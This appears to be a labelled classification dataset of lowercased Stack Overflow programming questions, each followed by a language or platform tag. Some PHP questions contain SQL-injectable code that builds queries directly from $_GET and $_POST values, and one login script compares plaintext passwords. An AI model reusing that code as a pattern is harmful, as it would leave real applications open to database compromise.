error in calling function with int  as input  i have a function like that :   <pre><code> public int  calculatecontractprice(int  comid)     {         int  sum = 0;         var q = from i in dbconnect.tblmaterialgroups                 where i.tenderid == _tenderid                 select i.id;         foreach (int i in q )         {             var q2 = from g in dbconnect.tblmaterialtenderannounceprices                      where g.materialgroupid == i &amp;&amp; g.companyid == comid                      select g;             sum = q2.first().amount*q2.first().price + q2.first().amount*q2.first().priceforelse + sum;           }         return sum+(from i in dbconnect.tblcontracts where i.tender==_tenderid select i.tax).first();     } </code></pre>   so when i call this function :   <pre><code>    int coid = convert.toint32(gvcompanyintender.currentrow.cells[0].value.tostring());      objco.tax =int.parse((objco.calculatecontractprice(coid)) * (6 / 100)); </code></pre>   i got this error: i think the problem is because of the int  that i defined but i don t know how can i resolve that.   <pre><code>   error    19  the best overloaded method match for  int.parse(string)  has some invalid arguments </code></pre>,c#
use of bccmath library in php give different result depending in the operative system  here is my problem. i am using <a href= http://pastebin.com/wprbtly1  rel= nofollow >bcmath functions of php (here the class i use  and the function base_math::obfuscate())</a> to obfuscate some urls  ids  etc and deobfuscate them.    i am actually programming over windows 8.1 x64 with the last version of xampp. recently i created a virtual machine in my computer wtih vmware based on centos 6.6 x64 which is the operative system i will have online  to debug problems compabilities between operative system and to have a stage environment to make updates faster.    the problem comes when i go to the vm environment  the functions used from bcmath gives me as a result different values as it does in windows environment. one of my friends warn me about this could happen but i love risk and lose tons of hours programming :|    what i don t know  if this problem comes because of the operative system  because of the hardware itself or what  can i modified the function so it gives me back always the same result  if it can t be what would you say it is a good solution to obfuscate your database entities id     this is the way i use the method:   <pre><code>//obfuscate number 5 math_base::obfuscate(5 false 32  ondzlj3mby9gpdtbrzdvgpkwr1j1dlc9jpicsme1l0yx8lzontvlkczdzpb9pjr ); //it returns on windows 8: csqnlny5dxmkjxylfgzxzt85htzpb2fq  //in centos ybs1dmzfdhv5jhzlg7nvtxffmxnkrtgs </code></pre>,php
javascript split by whitespaces 3 elements  i have some lines.. for example:   <pre><code>var line; line =  info  2014-10-08 15:01:17 233 [localhost-startstop-1] main directory: c:\workspace ; line =  error 2014-10-08 15:01:16 646 [localhost-startstop-1] cannot alter it is not a table. ; var headerarray = line.split( \\s   3); //headerarray returns array of 1 element  info  2014-10-08 15:01:17 233 [localhost-startstop-1] main directory: c:\workspace ; don t know why.. </code></pre>   but i want only { info    2014-10-08    15:01:17 233 } and then { error    2014-10-08    15:01:16 646 },javascript
iphone development  everyone seems interested in building iphone apps today.  do you have to have an iphone to build an app   is there a development / test environment that simulates the iphone experience to avoid having to purchase one.    if yes  what are the next steps in moving forward on this,iphone
html anchor only works in certain section  i am creating a website for my family business and have run into an issue. the  photo gallery  link in the navbar does not work  as if there is no target  but the link in the banner works perfectly fine. the other navbar links also work without issue.   <pre><code>&lt;div class= navbar-wrapper &gt;     &lt;div class= container &gt;         &lt;div class= navbar navbar-inverse navbar-fixed-top  role= navigation  id= top-nav &gt;             &lt;div class= container &gt;                 &lt;div class= navbar-header &gt;                     &lt;a class= navbar-brand  href= #home &gt;cafe&lt;/a&gt;                     &lt;button type= button  class= navbar-toggle collapsed  data-toggle= collapse  data-target= .navbar-collapse &gt;                         &lt;span class= sr-only &gt;toggle navigation&lt;/span&gt;                         &lt;span class= icon-bar &gt;&lt;/span&gt;                         &lt;span class= icon-bar &gt;&lt;/span&gt;                         &lt;span class= icon-bar &gt;&lt;/span&gt;                     &lt;/button&gt;                 &lt;/div&gt;                 &lt;div class= navbar-collapse  collapse &gt;                     &lt;ul class= nav navbar-nav navbar-right scroll &gt;                         &lt;li class= active &gt;&lt;a href= #home &gt;home&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= gallery.html  target= _blank &gt;photo gallery&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= #menu &gt;menu&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= #reviews &gt;customer reviews&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= #map &gt;map&lt;/a&gt;&lt;/li&gt;                     &lt;/ul&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; &lt;div id= home &gt;     &lt;div class= banner &gt;         &lt;img src= images/img_4030..jpg  alt= banner  class= img-responsive &gt;         &lt;div class= caption &gt;             &lt;div class= caption-wrapper &gt;                 &lt;div class= caption-info &gt;                     &lt;i class= fa fa-coffee fa-5x animated bounceindown &gt;&lt;/i&gt;                     &lt;h1 class= animated bounceinup &gt;cafe&lt;/h1&gt;                     &lt;p class= animated bounceinleft &gt;hot coffee  bagels  sandwiches  platters  and catering.&lt;/p&gt;                     &lt;a href= gallery.html  class= button &gt;view our photo gallery&lt;/a&gt;                     &lt;br&gt;&lt;br&gt;                     &lt;a href= #menu  class= explore animated bounceindown &gt;&lt;i class= fa fa-angle-down  fa-3x &gt;&lt;/i&gt;&lt;/a&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   that is all of the relevant code... i am been looking on google but maybe i am searching the wrong tags. thank you in advance.,html
css border-radius <pre><code>&lt;style&gt;   div {border-radius:5px;background:#cccccc;}   span {display:block;} &lt;/style&gt;  &lt;div&gt;     &lt;span&gt;first line&lt;/span&gt;     &lt;span&gt;second line&lt;/span&gt; &lt;/div&gt; </code></pre>   i want each <code>span</code> to fit inside the <code>div</code> with rounded corners  but they go in front of the div and obscure the rounded corners. if i put rounded corners on each <code>span</code> then you can see a faint outline of each <code>span</code>  even if they have the same <code>background-color</code> as the <code>div</code>.,css
are multiple calls to string.replace() less efficient than a single call to a regex method in .net   i want to replace about 8 characters in a string.    would it be more efficient to use a regex method or just use multiple calls to string.replace()    i m replacing about 7 characters that may appear  all to be underscores instead. the characters could appear anywhere in the string  and not in a particular order etc.,.net
unable to replace object in nsmutablearray  somehow the code below is throwing a <strong>nsinvalidargumentexception</strong>  although i followed step by step to make sure everything has proper value...    i have an array of cgpoints stored in nsvalues  and this is part of a method to offset all points by (x y).   <pre><code>for (int i = 0; i &lt; [allpoints count]; i++) {     cgpoint pt = [[allpoints objectatindex:i] cgpointvalue];     cgpoint newpt = cgpointmake(pt.x + x  pt.y + y);     nsvalue *newentry = [nsvalue valuewithcgpoint:newpt];     [allpoints replaceobjectatindex:i withobject:newentry]; } </code></pre>,objective-c
how to send response through ajax from servlet back to jsp   this question has been asked many a times. but i got the common answer i.e to send the response through <code>response.getwriter().write( .... )</code> inside servlet. but it is not the actual way of sending response through ajax. i want to update a <code>&lt;div&gt;</code> through the response not the whole page. but i didn t find solution to this. my code is as follows :-    index.jsp   <pre><code>&lt;%@ page language= java  contenttype= text/html; charset=iso-8859-1      pageencoding= iso-8859-1 %&gt; &lt;!doctype html public  -//w3c//dtd html 4.01 transitional//en   http://www.w3.org/tr/html4/loose.dtd &gt; &lt;html&gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=iso-8859-1 &gt; &lt;title&gt;insert title here&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;script src= jquery.js  &gt;&lt;/script&gt; &lt;form name= myform  method= post  id= search  action= al &gt; &lt;input type= text  name= fname /&gt; &lt;input type= submit  value= search  id= button1 /&gt; &lt;/form&gt;  &lt;div id= some &gt;  &lt;/div&gt; &lt;script&gt; $( #myform ).submit(function(e)         {             var postdata = $(this).serializearray();             var formurl = $(this).attr( action );             $.ajax(             {                 url : formurl                  type:  post                   data : postdata                  success:function(response)                  {                 $( #some ).text(response);                     //console.log(response);                     //data: return data from server                 }                  error: function(response)                  {                     //if fails                       }             });e.preventdefault();});   }); &lt;/script&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   addresslocator.java   <pre><code>protected void dopost(httpservletrequest request  httpservletresponse response) throws servletexception  ioexception {         // todo auto-generated method stub         string name=request.getparameter( fname );         //response.getwriter().println( abc.html );         //response.sendredirect( getdata );         url oracle = new url( https://maps.googleapis.com/maps/api/geocode/json address= +name);         urlconnection yc = oracle.openconnection();         bufferedreader in = new bufferedreader(new inputstreamreader(                                 yc.getinputstream()));         string inputline;         while ((inputline = in.readline()) != null)              response.getwriter().write(inputline);         in.close();      } </code></pre>   here  al is mapped to addresslocator class. please help...thanx in advance..,java
how can i convert a string into a boolean expression  i have a string (let s say) comp =  3 == 5 ;    how can i convert that <code>string</code> into a <code>boolean</code> expression that can be evaluated to <code>true</code> or <code>false</code>,java
link_to passes arguments to checkboxes  i successfully learnt how to use has_many :through with checkboxes from <a href= http://millarian.com/programming/ruby-on-rails/quick-tip-has_many-through-checkboxes/  rel= nofollow >this blog</a>.    now i want to have some of these checkboxes checked  based on arguments passed with link_to.    i tried many different things like...   <pre><code>&lt;%= link_to  new post   new_post_path  :category_ids =&gt; [1  3] %&gt; </code></pre>,ruby-on-rails
accessing an object s attribute value using an expression  consider the following code:   <pre><code>class demo {     person person = new person( foo ); // assume person class has a  name  field.      //now  how do i get the value of a field  using some expression.     string expression =  person.name ; } </code></pre>   now  i want to evaluate the  expression  to get the value of the  name  attribute. can anyone tell how it can be done     -- updated: the  expression  string i ll be getting it from an xml file. so  will it be possible to use  reflection  in that scenario also  the  expression  string may go into deeper levels also  like  person.birthday.date .,java
how does connectivitymanager determine if there s connectivity on the current network  you can check if there s connectivity on android by using this snippet as stated <a href= http://developer.android.com/intl/es/training/monitoring-device-state/connectivity-monitoring.html#determineconnection  rel= nofollow >here</a>   <pre><code>connectivitymanager cm = (connectivitymanager)context.getsystemservice(context.connectivity_service);  networkinfo activenetwork = cm.getactivenetworkinfo(); boolean isconnected = activenetwork.isconnectedorconnecting(); </code></pre>   but what data does <code>connectivitymanager</code> need to state that the device is currently connected and functional     as seen on the <strong>aosp</strong> source code for <a href= https://github.com/android/platform_frameworks_base/blob/master/core/java/android/net/connectivitymanager.java  rel= nofollow >connectivitymanager.java</a> file networkinfo it´s just a container of the information that <code>connectivitymanager</code> builds. but <code>connectivitymanager</code> gets all the data from a <strong>interface</strong> called <a href= https://github.com/android/platform_frameworks_base/blob/master/core/java/android/net/iconnectivitymanager.aidl  rel= nofollow >iconnectivitymanager</a>. i´ve lost the trace here.   <pre><code>public networkinfo getactivenetworkinfo() {     try {         return mservice.getactivenetworkinfo();     } catch (remoteexception e) {         return null;     } } </code></pre>   can someone throw a little light here,android
setcontentview problem  i am beginner in android so some beginer problems is occured. i create second activiy and second layout xml file named  getnearest.xml.  the code section to show this file is   <pre><code>  setcontentview(r.layout.getnearest) </code></pre>   but eclipse cannot be find getnearest. it only shows .main. so what is the problem with this,android
turn on a little engine with the iphone  i want to turn on a little engine with the iphone i mean  using the 30-pin cable and connecting some cables to the engine. which is the code i have to write to do that  and the most important  is that possible or is just a dream,iphone
how to generate a code made of 4 hex digits in c   how to generate a code made of 4 hex digits   the code meets the following conditions: -first and third digits are the same -second digit is even -third digit is larger than 9 -fourth digit is random (has no conditions),c
how to call a method into a constructor in the same class and pass user input into this   i found few posts on here quite similar to my question. but that s not helping. i want to calculate area of a circle. rather than passing value by myself i want to take user input hence i created a method called myvalue(). now i want to call that method or int _radius variable into a constructor. i am new to c# and like your advice on this:   <pre><code>            using system;             using system.collections.generic;             using system.linq;             using system.text;             using system.threading.tasks;              namespace practicefor70_483exam.venkat             {                 class circle                 {                     private readonly int radius;                      public static int myvalue()                     {                         console.writeline( please enter radius value:  );                         return convert.toint32(console.readline());                     }                      float _pi = 3.141f;                     public circle()                     {                         radius = myvalue();                         //this._radius = radius;                      }                     public float calculatearea()                     {                         return this._pi * this.radius * this.radius;                     }                 }                 class staticandinstanceclass                 {                     public static void main()                     {                         circle c1 = new circle(2);                         float area = c1.calculatearea();                         console.writeline( the area is: {0}   area);                         console.readline();                     }                 }             } </code></pre>,c#
uiscope bar doesn t show items (if no searchtext is submitted)  i have a searchbar with a scopebar in my rootviewcontroller. if i am searching for the items it s working very fine  also if i searching in a scope range. <strong>but how is it possible to show scope results  if no searchtext was given from the user </strong>    a code sample would be very fine.    here is the code which filter after the user set text into the seachbar.   <pre><code>- (void)filtercontentforsearchtext:(nsstring*)searchtext scope:(nsstring*)scope { [self.filteredcontent removeallobjects]; // first clear the filtered array.      for (test *new in tabelle)     {          //cat1         if ([scope isequaltostring:@ cat1 ] &amp;&amp; [new.location isequaltostring:@ cat1 ])         {             nscomparisonresult result = [new.ttext compare:searchtext options:(nscaseinsensitivesearch|nsdiacriticinsensitivesearch) range:nsmakerange(0  [searchtext length])];              if (result == nsorderedsame)             {                 [self.filteredcontent addobject:new];             }             }          //cat2        if ([scope isequaltostring:@ cat2 ] &amp;&amp; [new.location isequaltostring:@ cat2 ])           {             nscomparisonresult result = [new.ttext compare:searchtext options:(nscaseinsensitivesearch|nsdiacriticinsensitivesearch) range:nsmakerange(0  [searchtext length])];              if (result == nsorderedsame)             {                 [self.filteredcontent addobject:new];             }         }          //all         if ([scope isequaltostring:@ alle ])           {                nscomparisonresult result = [new.ttext compare:searchtext options:(nscaseinsensitivesearch|nsdiacriticinsensitivesearch) range:nsmakerange(0  [searchtext length])];              if (result == nsorderedsame)             {                 [self.filteredcontent addobject:new];             }          }     }  }   </code></pre>   i want results without any typed letter in the searchbar    like this image but without the typed in letter: <a href= http://edumobile.org/iphone/wp-content/uploads/2010/03/search.jpg  rel= nofollow >http://edumobile.org/iphone/wp-content/uploads/2010/03/search.jpg</a>,ios
ng-repeat and filter not working angularjs  i have an array which i print out it s elements based on which category is selected     <pre><code>&lt;li class= thumbnail  ng-repeat= temp in templates| filter:{temp.category_id :       selectedcategoryid }:true &gt; </code></pre>   templates looks like this :   <pre><code>[{ id : 1   account_id :null  category_id : 1   name : blue   thumbnail : placehold.it/210x300   category_name : test } { id : 2   account_id :null  category_id : 1   name : red   thumbnail : placehold.it/210x300   category_name : test } { id : 3   account_id :null  category_id : 2   name : green   thumbnail : placehold.it/210x300   category_name : test again }] </code></pre>   thanks for the help !    edit : i also wanted to add an extra condition   that is temp.category_id == null   show all.,angularjs
memory leaks in nsmutabledictionary  when i run the instrument tool i m getting memory leaks in the following lines  (nsstring *)feedstring  is json response i m getting from the server can any one give and idea how can i fix this memory leak     thanks  sam     <code>   <pre><code> nsmutabledictionary *allcards = [nsmutabledictionary dictionary];  cardtypedto *cardtypedto = [[cardtypedto alloc] init];    [cardtypedto setimageurl:[[commonutility urldecode:[carddetail objectforkey:@ imageurl ]] retain]];    [allcards setvalue:cardtypedto forkey:[carddetail objectforkey:@ accountid ]];    -(id)parsefeed:(nsstring *)feedstring{   //nsmutabledictionary *allcards = [[nsmutabledictionary alloc] init];  nsmutabledictionary *allcards = [nsmutabledictionary dictionary];    nsmutabledictionary *parsedoutput = (nsmutabledictionary *)feedstring;   nsarray *objectkeys = [parsedoutput allkeys];    for (int i = 0; i &lt; [objectkeys count]; i++) {   nsautoreleasepool *looppool = [[nsautoreleasepool alloc] init];   nsmutabledictionary *carddetail = [parsedoutput objectforkey:[objectkeys objectatindex:i]];   cardtypedto *cardtypedto = [[cardtypedto alloc] init];   [cardtypedto setaccountid:[carddetail objectforkey:@ accountid ]];   [cardtypedto setcardname:[carddetail objectforkey:@ cardname ]];   [cardtypedto setbankname:[carddetail objectforkey:@ bankname ]];   [cardtypedto setcustommessage:[carddetail objectforkey:@ custommessage ]];   [cardtypedto setavailableamount:[carddetail objectforkey:@ availableamount ]];   [cardtypedto setbalanceamount:[carddetail objectforkey:@ balanceamount ]];   [cardtypedto setpercentage:[carddetail objectforkey:@ percentage ]];   //[cardtypedto setimageurl:[carddetail objectforkey:@ imageurl ]];   [cardtypedto setimageurl:[[commonutility urldecode:[carddetail objectforkey:@ imageurl ]] retain]];   [cardtypedto setnickname:[carddetail objectforkey:@ nickname ]];   [cardtypedto setbalancestatuscode:[carddetail objectforkey:@ balancestatuscode ]];   [cardtypedto setbalancestatusmsg:[carddetail objectforkey:@ balancestatusmsg ]];   [cardtypedto setonlinelinked:[carddetail objectforkey:@ onlinelinked ]];   [cardtypedto setcardtype:[carddetail objectforkey:@ cardtype ]];    [allcards setvalue:cardtypedto forkey:[carddetail objectforkey:@ accountid ]];   //[cardtypedto release];   [looppool release];   }   return allcards; }  +(nsstring *) urldecode: (nsstring *) url {  nsstring *result=[url stringbyreplacingpercentescapesusingencoding:nsutf8stringencoding];  return [result autorelease]; } </code></pre>   </code>,iphone
this app is not compatible with this device ios  <a href= https://i.stack.imgur.com/gmqns.png  rel= noreferrer ><img src= https://i.stack.imgur.com/gmqns.png  alt= enter image description here ></a>when i update my ios version from 9.3 to 9.3.1  then go to app store to install the app we get popup this app is not compatible with this device. below is my screen shot.    <a href= https://i.stack.imgur.com/uxfbn.png  rel= noreferrer ><img src= https://i.stack.imgur.com/uxfbn.png  alt= enter image description here ></a>,ios
best camera for shoot a gameplay video  i have developed some games for iphone and ipad but the success rate in appstore is bad. so i think i should do some marketing things and thats why i need to make some gameplay video of my games.    can you guys please suggest me some good mid-range video camera for shooting the gameplay video  i prefer sony/ canon.    a quick help will be appreciated.    thanks to all,iphone
how to convert string into date time   dear folks  <br>             i am having the problem in converting a string  <code>2014-05-22t14:21:54.677</code>  to a date object in android . i have used following approach   <pre><code>simpledateformat dateformater = new simpledateformat( yyyy-mm-dd hh:mm:ss.sssz );  dateformater.parse( 2014-05-22t14:21:54.677 ); </code></pre>   i am getting <code>java.text.parseexception</code> . please help me out how can i convert it to a date object,android
what will happen when the class requested some webservice is not in the memory when receiving the response   what will happen when the class requested some webservice/streaming  is not in the memory when receiving the response,objective-c
created dev and production push certificate  but only prod appears in keychain  i created a certificate signing request and used it to generate both a development and production push certificate. then i downloaded both of the certificates onto my computer and clicked both of them to install to the keychain.    however within the keychain only production certificate is showing as being associated with the csr private key  the dev certificate is not  why is this,ios
i understand bootstrap code  but i don t know how to use in rails in critical part  i am a new learner and i am confused using bootstrap code in rails  here is the example of the code:   <pre><code>&lt;nav class= navbar navbar-default &gt;   &lt;div class= container-fluid &gt;     &lt;div class= navbar-header &gt;       &lt;button type= button  class= navbar-toggle collapsed  data-toggle= collapse  data-target= #bs-example-navbar-collapse-1  aria-expanded= false &gt;         &lt;span class= sr-only &gt;toggle navigation&lt;/span&gt;         &lt;span class= icon-bar &gt;&lt;/span&gt;         &lt;span class= icon-bar &gt;&lt;/span&gt;         &lt;span class= icon-bar &gt;&lt;/span&gt;       &lt;/button&gt;       &lt;%= link_to  market   root_path  class:  navbar-brand  id:  logo %&gt;     &lt;/div&gt;     &lt;div class= collapse navbar-collapse  id= bs-example-navbar-collapse-1 &gt;       &lt;ul class= nav navbar-nav navbar-right &gt;           &lt;% if user_signed_in  %&gt;             &lt;li&gt;&lt;%= link_to  create doc   new_detail_path%&gt;&lt;/li&gt;             &lt;li&gt;&lt;%= link_to  signout   destroy_user_session_path  method: :delete %&gt;&lt;/li&gt;           else             &lt;li&gt;&lt;%= link_to  login   new_user_session_path%&gt;&lt;/li&gt;             &lt;% end %&gt;       &lt;/ul&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/nav&gt; </code></pre>   i know the user part ul is wrong  i don t know how to use bootstrap in rails. is there any tutorial to learn bootstrap with rails because i am really confused to use bootstrap in rails.,ruby-on-rails
countries and their province web service  i need a webservice to get information of whole of the countries and their provinces location and area or population is anyone who knows this web service,asp.net
how to do orientations in iphone   i have a setting page which contains setting functions of the application there is a button called lock-rotation button by default my application supports all the orientations but my need is i want to set lock the rotation in my lock-rotation button if the user tap the lock-rotation button it popups two button lock horizontally and lock vertically if the user tap any one of this button it automatically stops the rotation of the corresponding orientation .how to do this  thanks in advance.,iphone
.net 1.1 web service client basic authentication  i m trying to call a web service from a .net 1.1 application. the web service uses basic authentication. for some reason the  authorization  header attribute is not set. here s the code that i think should do the trick  but isn t.   <pre><code>        credentialcache credcache = new credentialcache();         networkcredential netcred = new networkcredential( user    password );         credcache.add( new uri(item.url)   basic   netcred);         item.credentials = credcache;         item.preauthenticate = true;         item.getaccountrequest(getrequest); </code></pre>,.net
binary representation  for example sum(6) must return 2  because the binary version of 6 is 110    not sure the logic is correct or not.   <pre><code>int sum(int n) {     int count = 0;     while(n)     {         count += n &amp; 1;         n &gt;&gt;= 1;     }     return count; } int main(){     int n   =   9001;     cout &lt;&lt; “the    sum of  bits    for number  “   &lt;&lt;  n   &lt;&lt;  “is”    &lt;&lt;  sum(n)  &lt;&lt;  endl;     retun   0; } </code></pre>,c++
does the function declaration mustn t appear within conditional statement   hi i m new to javascript  and i m reading the oreilly s javascript the definitive guide. in the declaration statement section it says:    <img src= https://i.stack.imgur.com/wj9p3.png  alt= enter image description here >    i made a simple test:   <pre><code>var a = 1; while(a &lt; 5){     a++;     function double(a){return a * 2 };     console.log(double(a)); }     </code></pre>   it seems the node.js doesn t give me any error and run as expect. any comment on this,javascript
how to get not matching records from same tables in sql   suppose i have one table contain two country one is us and another is co  for us country i have 141 records and for co country i have 85  i need a query to find the unmatched record from both country,sql
media query for mobile applying to desktop  i m not sure why my media query is working for sizes larger than specified. for example  an image with class <code>portrait</code> is showing up on my laptop as 250px rather than the 400px expected.     my media query is structured as follows and is at the end of my css.    <pre><code>@media screen and (max-width: 767px) { .portrait {     height: 250px;   } } </code></pre>   full code: <a href= https://www.codeply.com/go/utr760z2w0  rel= nofollow noreferrer >codeply</a>,css
sql pivoting with multiple aggregate function  i have a table in sql mentioned in image. need the output which is  also mentioned in the image.    <a href= http://i.stack.imgur.com/ft4bh.png  rel= nofollow >main table</a>    <a href= http://i.stack.imgur.com/oqore.png  rel= nofollow >pivot output</a>    thanks in advance,sql
can i run more than one javascript onload   i have a page that uses modernizr.js which runs when the page loads up.  before i added this i had a simple js clock script running to display the time which also loaded when the page loaded  however  since adding both of them to the page at the same time makes one or the other stop working.    i am still fairly new to javascript and am getting to grips with the rules (self taught).  is it possible to ave two scripts running on load and if so how   or  am i barking up the wrong tree and if so is there something wrong with my code     this is what i had...   <pre><code>&lt;script&gt; window.onload = function() {    if(window.filereader &amp;&amp; modernizr.draganddrop){       window.location =  http://www.dentaldigs.co.uk/image_upload.php      } }; &lt;/script&gt;  &lt;script&gt;       // add a zero in front of numbers&lt;10       function checktime(i)       {       if (i&lt;10)         {           i= 0  + i;         }       return i;       }        function clock()       {       var today=new date();       var h=today.gethours();       var m=today.getminutes();       var s=today.getseconds();       m=checktime(m);       s=checktime(s);       document.getelementbyid( clock_div ).innerhtml=h+ : +m+ : +s;       t=settimeout(function(){clock()} 500);       }    &lt;/script&gt;  &lt;body onload= clock() &gt; &lt;/body&gt; </code></pre>   with the clock script in place the modernizr.js doesn t work.    thanks,javascript
list images in a directory with php and add a specific class  how can i list images in a folder...(which could be any number) and echo them in a list making the sure the first li has a class of  first  and the the last list item has a class of  last  like so...   <pre><code>&lt;li class= first &gt;&lt;img src= flowing-rock.jpg  /&gt;&lt;/li&gt; &lt;li&gt;&lt;img src= stones.jpg  alt= stones  /&gt;&lt;/li&gt; &lt;li&gt;&lt;img src= grass-blades.jpg  /&gt;&lt;/li&gt; &lt;li&gt;&lt;img src= ladybug.jpg  alt= ladybug  /&gt;&lt;/li&gt; &lt;li class= last &gt;&lt;img src= pier.jpg  alt= pier  /&gt;&lt;/li&gt; </code></pre>   any help would be appreciated...,php
redirect to yahoo.com when click submit  i created a from that has 3 inputs (name email phone number)   but just the email field is not optional when i enter the email field by my yahoo email address it redirects to yahoo.com !!! i m using  get  to send data !   <pre><code>$sql =  insert into $prefix . buy_info (ip email name phone link cost expire discode product buy_id zarin_code ok date) values (   . $ip .       . $_get[ email ] .       . $_get[ name ] .       . $_get[ phone ] .       . $_session[ url ] .       . $_session[ h_cost ] .       . $expire_time .       . $discode .       . $_session[ title ] .       . $buy_id .     n     .  1  .       . date( y/m/d ) .   ) ; $act = mysql_query($sql) or die(mysql_error());  $_session[ buy_id ] = $buy_id; $_session[ email ] = $_get[ email ]; $_session[ h_cost ] = $_get[ h_cost ]; </code></pre>   and my html form :    <pre><code>    &lt;form style= display: block  action=   id= pay_form  method= get &gt; &lt;input type= text  name= discode  id= discode  class= discode_input  placeholder= کد تخفیف  /&gt; &lt;input type= button  name= discode_do  id= discode_do  class= discode_do  value= استفاده  /&gt;&lt;img class= dd_w  src= img/w8.gif  alt= w8  /&gt; &lt;div class= total-cost &gt;مبلغ قابل پرداخت : &lt;i id= mqp  style= font-style: normal &gt;&lt; php echo $_session[ h_cost ]  &gt;&lt;/i&gt; ت&lt;/div&gt;     &lt;input name= name  placeholder= نام کامل  type= text  /&gt;&lt;div class= cls &gt;&lt;/div&gt;     &lt;input name= email  id= email  placeholder= آدرس ایمیل*  type= email  /&gt;&lt;div class= cls &gt;&lt;/div&gt;     &lt;input name= phone  style=     position: relative;top: 4px;  placeholder= شماره تماس  type= text  /&gt;     &lt;input type= submit  name= pay  class= pay  value= پرداخت &gt; &lt;/form&gt; </code></pre>,php
javascript 2d matrix  in my code  i need an object that s equivalent to   <pre><code>(0 0)   (20 0)   (40 0) ...    (580 0) (0 20)  (20 20)  (40 20) ...   (580 20) . . . (0 580) (20 580) (40 580) .... (580 580)  </code></pre>   these correspond to (x y) coordinates on a grid for a game i m making. does javascript have a simply abstraction for this     i didn t find this <a href= https://stackoverflow.com/questions/966225/how-can-i-create-a-two-dimensional-array-in-javascript >how can i create a two dimensional array in javascript </a> answer to be satisfactory. i want a 30x30 2d array where i can access elements like <code>arr[0][1] = [0 20]</code> and so forth.,javascript
how to call method in same class  i have a superclass  superclassyeh and a subclass  subclassyeh. i have method <code>inherittest</code> in superclassyeh and i override <code>inherittest</code> in subclassyeh. i start the program running by calling method <code>testsuperandself</code> in subclassyeh. this method would call another method  <code>fromyeh</code> in superclassyeh. in <code>fromyeh</code>  i would like to call <code>inherittest</code> in superclassyeh. how do i do that  using <code>[self inherittest]</code> calls the <code>inherittest</code> in subclassyeh  not superclassyeh. <br/><br/> here s the code fragment to start the whole thing running   <pre><code>subclassyeh *testing = [[subclassyeh alloc] init]; [testing testsuperandself]; </code></pre>   here s the code fragment for superclassyeh   <pre><code>- (void) fromyeh {     [self inherittest]; //calls the inherittest in subclassyeh  not superclassyeh }  - (void) inherittest {     nslog(@ testing indicator. inside superclassyeh inherittest ); } </code></pre>   here s the code fragment for subclassyeh   <pre><code>- (void) inherittest {     nslog(@ testing indicator. inside subclassyeh inherittest ); }  - (void) testsuperandself {     [super fromyeh];   } </code></pre>,objective-c
location not working/login php mysql go to next page on button click not working/database verification not working <pre><code>&lt; php include  dbconfig.php ;  $msg =   ; if (isset($_post[ user ]) and isset($_post[ pass ])) {  $name = $_post[ user ]; $pass = $_post[ pass ]; $sql =  select * from tbluser where strusercode =  $name  and struserpass =  $pass  ; $query = mysql_query($sql) or die(mysql_error()); $count = mysql_num_rows($query);  if ($name ==    || $password ==   ) {     $msg =  you must enter all fields ;   }  else { if ($count == 1){     $_session[ strusercode ] = $username;     header( location: boot.php ); } else  {     echo  invalid login credentials. ;         }             }                    }      $msg =  username and password do not match ;   &gt; </code></pre>   dbconfig.php contains the establishing of connection in the database   <pre><code>$username =  root ; $password =   ; $hostname =  localhost ;  $output =   ;  //connection to the database $dbhandle = mysql_connect($hostname  $username  $password)  or die( unable to connect to mysql );  $selected = mysql_select_db( homework  $dbhandle)  or die( could not select examples ); </code></pre>   but when i click the button the verification doesn t work even if i enter some random values that isn t included in the database the button will redirect it to the next page stated above. it just automatically go to boot.php as the button was clicked. when i delete that the button do nothing  it won t go to the other page and the verification isn t really working. please help.   <pre><code>&lt;button type= submit  class= submit  name =  submit  action =  boot.php &gt;&gt;&gt;   &lt;/button&gt; </code></pre>,php
how to access element in object   for example i have:   <pre><code>var my_ul = jquery( &lt;ul/&gt; ); jquery( &lt;li/&gt; ).appendto(my_ul); jquery( &lt;li/&gt; ).appendto(my_ul); jquery( &lt;li/&gt; ).appendto(my_ul); jquery( &lt;li/&gt; ).appendto(my_ul); </code></pre>   is it possible to access last li in ul,jquery
releasing of strings  i got a doubt that when should the strings are released.i am not made any allocation to the string is there any necessary to release the string,objective-c
android:gravity option is not getting with imageview     <pre><code>&lt;linearlayout     android:layout_width= fill_parent      android:layout_height= fill_parent      android:layout_weight= .35  &gt;      &lt;imageview         android:id= @+id/txt_loginpage          android:layout_width= wrap_content          android:layout_height= wrap_content          android:background= @drawable/yellow  /&gt; &lt;/linearlayout&gt;  &lt;linearlayout     android:layout_width= fill_parent      android:layout_height= fill_parent      android:layout_weight= .65  &gt;      &lt;button         android:id= @+id/edtcardnum          android:layout_width= wrap_content          android:layout_height= wrap_content          android:background= @drawable/request  /&gt; &lt;/linearlayout&gt; </code></pre>       i cannot get the <code>android:gravity</code> option with the <code>imageview</code>  but i can get it with <code>textview</code>.    is there any thing wrong in my code.    if i change this to <code>textview</code> then <code>android:gravity</code> option is working but not with <code>imageview</code> .   <pre><code> &lt;imageview           android:layout_width= wrap_content           android:layout_height= wrap_content             android:id= @+id/txt_loginpage           android:background= @drawable/yellow   /&gt; </code></pre>,android
css media query(@ media)  i have used <code>@media screen and not (-webkit-min-device-pixel-ratio:0)</code> i my css file. my question is regarding the value specified i.e  0  in this case. how will a change in value affect my jsp page that references the above css file     also i read some where that  we can use the above media query for webkit detection. if so  how  and will there be a problem if we change the value to  0.75 or 1,css
php session cache limiter header already send  one of my php file has include in many different pages. some pages already have session_start  some are not.    therefor i have a add <code>if(!isset($_session)){session_start();}</code>     to check if if session start already been set      if the session start is not set  it will put into the code    it works fine in my local machine  but when i upload it  i got error     <strong>cannot send session cache limiter - headers already sent (output started at...</strong>    anyone know where is the problems,php
how to define a function that takes any number of arguments   i want to make a function that can for example sum up all arguments:   <pre><code>def sum(#elements):     return(a+...#all elements)  print(sum(1 3 4)) </code></pre>,python
